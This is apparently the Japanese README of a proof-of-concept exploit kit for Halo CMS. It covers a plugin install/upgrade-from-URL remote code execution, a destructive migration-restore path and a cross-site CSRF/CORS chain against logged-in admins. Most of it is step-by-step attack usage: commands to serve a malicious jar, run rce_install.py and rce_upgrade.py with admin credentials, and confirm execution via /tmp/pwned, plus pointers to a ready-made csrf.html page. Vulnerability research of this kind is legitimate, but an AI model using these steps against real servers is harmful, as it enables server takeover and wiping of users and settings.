
Halo CMS プラグインの1リクエストRCE(単一のURLから)、PoC + エクスプロイトチェーン
halo のコンソールでは、管理者が URL を貼り付けてプラグインをインストール/アップグレードできます。 任意の URL をフェッチし、jar をインストールして、その jar のコードがサーバー上で実行されます。 スキームのチェックもホストのチェックもなく、リダイレクトも追跡され、 プラグインマネージャーは jar から拡張クラスを直接ロードします。
これは CVE-2026-67919(install-from-uri / upgrade-from-uri)、 CVE-2026-67920(migration restore)、CVE-2026-67921(csrf/cors チェーン)です。 3 つすべて、2026 年 8 月に Docker ラボの halohub/halo:2.25.4 に対して検証済みです。 main はまだパッチされていません。
面白いところ: これはブラウザだけで完結するチェーンでもあります。コンソール API は XSRF トークンをチェックせず、セッション Cookie は SameSite=None で、 CORS は資格情報付きの任意のオリジンを反映します。管理者が訪問したページは fetch() だけで全部実行できます。exploit/csrf.html を参照。
docker run -d --name halo -p 8090:8090 halohub/halo:2.25.4
# visit /system/setup once, or script it (see notes/findings.md)
ホストから jar を配信します(0.0.0.0 にバインド。コンテナはホストに host.docker.internal として到達します):
python3 -m http.server 8123
悪意のあるプラグインをビルドします(JDK 17 が必要):
cd plugin && sh build.sh
次に:
cd exploit && python3 -m pip install -r requirements.txt
./rce_install.py http://localhost:8090 admin 'Admin@12345' \
http://host.docker.internal:8123/poc-plugin.jar
docker exec halo cat /tmp/pwned
既にインストールされている任意のプラグインは、1 回のリクエストで置き換えられます。jar は 同じ metadata.name とより高いバージョンを持つだけで十分です。poc-sitemap.jar は 組み込みの PluginSitemap(1.x -> 2.0.0)向けのその亜種です。
./rce_upgrade.py http://localhost:8090 admin 'Admin@12345' \
PluginSitemap http://host.docker.internal:8123/poc-sitemap.jar
docker exec halo cat /tmp/pwned
exploit/csrf.html を開き、自分の halo に向けてクリックするだけです。それが CVE-2026-67921 -> CVE-2026-67919 チェーンです: XSRF ヘッダーなし、セッション Cookie は クロスサイトに送信され、CORS が読み返しを許可します。
CISA の説明が何と言おうと、管理者のみです。匿名は 302、ゲストは 403、 管理者はコード実行を得ます。CSRF チェーンが興味深いのは、ページが実行されるとき 管理者がすでにログインしているからです。
リストア処理は任意の URL をフェッチし(もう 1 つのフェッチプリミティブ)、 zip の workdir/ を無検証で halo の作業ディレクトリに書き込み、拡張機能ストア全体を バックアップの内容で置き換えます。空の extensions.data はユーザー、ロールバインディング、 設定を消去します。exploit/migration_restore.py は使い捨ての環境でのみ使用してください。
exploit/ login.py, rce_install.py, rce_upgrade.py,
migration_restore.py, csrf.html
plugin/ plugin.yaml, Exploit.java, plugin-components.idx,
build.sh, prebuilt jars
notes/ findings.md (privilege ladder, fetcher behavior,
cookie/cors details, fix status)
1 リクエスト版を使うには、plugin/plugin.yaml(metadata.name と version)を編集して 再ビルドするか、PluginSitemap がインストールされた halo に対してプリビルド済みの poc-sitemap.jar を使用します。
免責事項: 自分が所有するシステムでの研究用です。特にマイグレーションのものは、 実行対象のインスタンスを破壊します。
chris jagdeo (k0nnect)